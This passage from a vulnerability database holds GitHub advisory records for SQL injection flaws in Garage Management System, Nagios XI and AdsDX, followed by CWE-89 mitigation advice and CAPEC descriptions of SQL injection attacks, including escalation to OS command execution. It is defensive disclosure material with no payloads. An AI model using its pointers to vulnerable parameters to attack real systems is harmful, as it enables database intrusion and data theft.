"nvd_published_at": "2022-07-19T10:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was found in SourceCodester Garage Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /editbrand.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-cjgm-9qhj-94wr",
"modified": "2022-07-28T00:00:50Z",
"published": "2022-07-20T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2468"
},
{
"type": "WEB",
"url": "https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Garage-Management-System.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.204161"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJGM-HVQ2-3RWH
Vulnerability from github – Published: 2023-09-20 00:30 – Updated: 2024-04-04 07:44A SQL injection vulnerability in Nagios XI v5.11.1 and below allows authenticated attackers with announcement banner configuration privileges to execute arbitrary SQL commands via the ID parameter sent to the update_banner_message() function.
{
"affected": [],
"aliases": [
"CVE-2023-40933"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-19T23:15:10Z",
"severity": "HIGH"
},
"details": "A SQL injection vulnerability in Nagios XI v5.11.1 and below allows authenticated attackers with announcement banner configuration privileges to execute arbitrary SQL commands via the ID parameter sent to the update_banner_message() function.",
"id": "GHSA-cjgm-hvq2-3rwh",
"modified": "2024-04-04T07:44:39Z",
"published": "2023-09-20T00:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40933"
},
{
"type": "WEB",
"url": "https://outpost24.com/blog/nagios-xi-vulnerabilities"
},
{
"type": "WEB",
"url": "https://www.nagios.com/products/security"
},
{
"type": "WEB",
"url": "http://nagios.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJH5-6X4R-74CW
Vulnerability from github – Published: 2022-05-02 03:47 – Updated: 2022-05-02 03:47SQL injection vulnerability in admin/index.php in AdsDX 3.05 allows remote attackers to execute arbitrary SQL commands via the Username.
{
"affected": [],
"aliases": [
"CVE-2009-3667"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-10-11T22:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in admin/index.php in AdsDX 3.05 allows remote attackers to execute arbitrary SQL commands via the Username.",
"id": "GHSA-cjh5-6x4r-74cw",
"modified": "2022-05-02T03:47:27Z",
"published": "2022-05-02T03:47:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3667"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9696"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.